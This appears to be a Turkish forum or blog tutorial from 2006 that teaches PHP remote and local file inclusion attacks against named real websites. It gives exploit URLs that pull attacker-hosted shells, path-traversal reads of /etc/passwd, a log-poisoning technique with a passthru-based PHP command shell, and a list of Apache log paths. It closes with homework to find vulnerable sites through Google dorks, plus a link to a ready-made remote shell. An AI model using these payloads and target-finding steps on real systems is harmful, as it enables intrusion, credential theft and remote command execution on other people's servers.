Dijital Pazarlama - Seo Ajansı

File Inclusion (FI) nedir ne değildir?

Selamlar,
Tekrar bir döküman ile karşınızdayım:) gene tamamen kendi ürünüm olup kimseden alıntı değildir:).

File inclusion yani dosya dahil etme dediğimiz olay bir çok sistemde bulunan bir açıktır.Eğer mailling listlere üye iseniz bu tarz açıklarla ile ilgili bir çok mesajın olduğunu görebilirsiniz.

Bu tarz açıklar ile gerek remote (uzaktan) dosyaları mevcut aplikasyona dahil edebilir, gerek local (yerel) dosyaları dahil edebilirsiniz..

Peki remote ile yerel arasındaki farkı nedir? Remote olan FI açıklarında fazla uğraşmanıza gerek yoktur az biraz HTTP protokolü hakkında bilgi yeterlidir (GET/POST Request yani İstekleri) kaldıki mevcut sistem bunu direk olarak GET ile isteyeceğinden size sadece aldığınız hata mesajı yeterli olacaktır.

Örnek bir hata mesajı yazalım:
http://www.successteam1.com/order/?path=http://SERVERIMIZINADRESI/KLASOR/SHELL.PHP adresine giriyoruz.

http://SERVERIMIZINADRESI/KLASOR/SHELL.PHP
Warning: main(): php_network_getaddresses: getaddrinfo failed: Name or service not known in /home/successt/public_html/order/index.php on line 20

Warning: main(http://SERVERIMIZINADRESI/KLASOR/SHELL.PHPque.php): failed to open stream: Permission denied in /home/successt/public_html/order/index.php on line 20

Warning: main(): php_network_getaddresses: getaddrinfo failed: Name or service not known in /home/successt/public_html/order/index.php on line 20

Warning: main(http://SERVERIMIZINADRESI/KLASOR/SHELL.PHPque.php): failed to open stream: Permission denied in /home/successt/public_html/order/index.php on line 20

Fatal error: main(): Failed opening required 'http://SERVERIMIZINADRESI/KLASOR/SHELL.PHPque.php' (include_path='.:/usr/lib/php:/usr/local/lib/php') in /home/successt/public_html/order/index.php on line 20

Gördüğünüz gibi sistem bizim SHELL.php nin sonuna que.php bindirmiş.
Bunu aşmanın 2 yolu mevcut:
1) Sunucumuzda que.php adında bir dosya oluşturup isteğimizi http://www.successteam1.com/order/?path=http://SERVERIMIZINADRESI/KLASOR/ adresine girersek que.php yi zaten bindirdiğinden mevcut php shellimizi load edebiliriz.
2) Birazcık HTTP protokolünü bilmemizin yardımı ile daha pratik ve mantıklı olan "?" karakteririni isteğimizin sonuna koyalım.
http://www.successteam1.com/order/?path=http://SERVERIMIZINADRESI/KLASOR/SHELL.PHP? ? bildiğiniz üzere extensiondan sonra gelip sunucuya bu dosya ile ilgili isteklerimizin neler olduğunu belirtmemize yarar.

Bu şekilde aldığımız hata mesajları ile Remote File Inclusion yani Uzaktan Dosya Dahili yapmamızı kolaylıkla yapabiliriz. Tabii ki bu tarz kolay istekler karşınıza çıkmayabilir bunlarıda yorumlamak ve değerlendirmek tamamıyla size kalmış bir şey ben size şuan balık tutmayı öğretiyorum direk balığı vermem.

Peki remote yapamadık local file inclusion nasıl yaparız neyimize yarar?

LFI ile sistemdeki okuma hakkına sahip olduğumuz bütün dosyaları dahil edebiliriz.
Örneğin en basitinden herkesin bildiği: /etc/passwd nasıl dahil edeceğimizi gösterelim
http://www.et.byu.edu/ce/misc/misc.php?page=contact.php adresine girdik ve önce RFI denedik hiç bir şekilde shellimiz dahil edilmedi ve bir hata mesajı almadık.
Pratik olarak kafamızı çalıştırarak.
http://www.et.byu.edu/ce/misc/misc.php?page=/etc/passwd adresine giriyoruz.
tata sayfanın en üstünde dosyamız yüklendi.

root:x:0:0:root:/root:/bin/tcsh
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh .. devamı


Gördüğünüz gibi sistemdeki kullanıcılar ve haklarını gördük.
Peki LFI nasıl geliştirilebilir?
http://www.tigran.ru/index.php?page=include/rezkost.php gibi bir adres bulduk ve http://www.tigran.ru/index.php?page=/etc/passwd denedik ve şöyle bir hata aldık

Warning: main(.//etc/passwd): failed to open stream: No such file or directory in /usr/www/www.tigran.ru/www/index.php on line 68

Warning: main(): Failed opening './/etc/passwd' for inclusion (include_path='.:') in /usr/www/www.tigran.ru/www/index.php on line 68

Gördüğünüz gibi dosya veya klasör mevcut değil hatası aldık.
/usr/www/www.tigran.ru/www/index.php yolu üstünde ./ ile gelen sorguyu birleştirip dosyayı arıyor. ./ burada mevcut klasörü kapsamakta biz bu klasörün ana yoluna inerek / burdan etc klasöründen passwd dosyasını nasıl okuruz onu görelim.
Sayalım kaç klasörün üstündeyiz.

usr
www
www.tigran.ru
www

Toplam 4 klasörün üstündeyiz suan. O zaman ../ yani bir üst dizine gitmemizi sağlayan kısaltmamızı kullanalım.
http://www.tigran.ru/index.php?page=../../../../etc/passwd bu sekile getirelim adresi ve girelim gördüğünüz gibi 4 adet ../ kullandım ve karşımızda

# $FreeBSD$ #
root:*:0:0:Charlie &:/root:/usr/local/bin/bash .. ve devamı


Yerelden dosya dahil etmeyi dahada geliştirebiliriz.Bildiğiniz üzere eğer sistemde olmayan bir dosya isteğinde bulunursak bunları access_log veya error_log gibi dosyalara yazar.Bu dosyaların içine ufak php scriptleri nasıl enjekte edilir onu gösterelim.Bu yöntemde en büyük sorun bu log (kayıt) dosyalarının yollarını bulmaktır.
http://kurban/site/<?php phpInfo();?> gibi ufak bir php bilgisi gösteren kod yazıp istekde bulunduk.
Bu isteğimiz doğrultusunda eğer doğru kayıt dosyasının yolunu bulursak php bilgisini elde edebiliriz.
Ufak bir shell kodu verelim

<?php ob_clean();echo Selam!;if (get_magic_quotes_gpc()) {$_GET[cmd]=striplashes($_GET[cmd]);} passthru($_GET[cmd]);echo Bitti;die;?>

Bu çok kullanan bir shell metodudur.
Olası kayıt dosyaları ise

/var/log/httpd/access_log
/var/log/httpd/error_log
/apache/logs/error_log
/apache/logs/access_log
/apache/logs/error.log
/apache/logs/access.log
/etc/httpd/logs/access_log
/etc/httpd/logs/access.log
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/var/log/apache/access_log
/var/log/apache/access.log
/var/log/access_log
/var/www/logs/error_log
/var/www/logs/error.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
/var/log/apache/error_log
/var/log/apache/error.log
/var/log/access_log
/var/log/error_log

Bu yöntemleri geliştirmek tamamen elinizde.Sıra bu döküman ile ilgili ödeve geldi.
Google hacking sayesinde FI kullanarak shell çalıştırılan siteleri bulunuz.
Örnek arama:
inurl:site ext:php site:at Tipik bir abudik.php?site=xxx.php gibi dosya dahil eden siteleri arama metodu avusturya üstündekileri aramakta.
Örnek link:
http://www.schrofenstein.at/start.php?site=http://hometown.aol.com/yarivgiladi/musa.php?
Hazır shellim yok diyenlere
http://hometown.aol.com/yarivgiladi/lulz.php


lulz 2006©® Her hakkı saklıdır

Yorumunuz..

Daha yeni Daha eski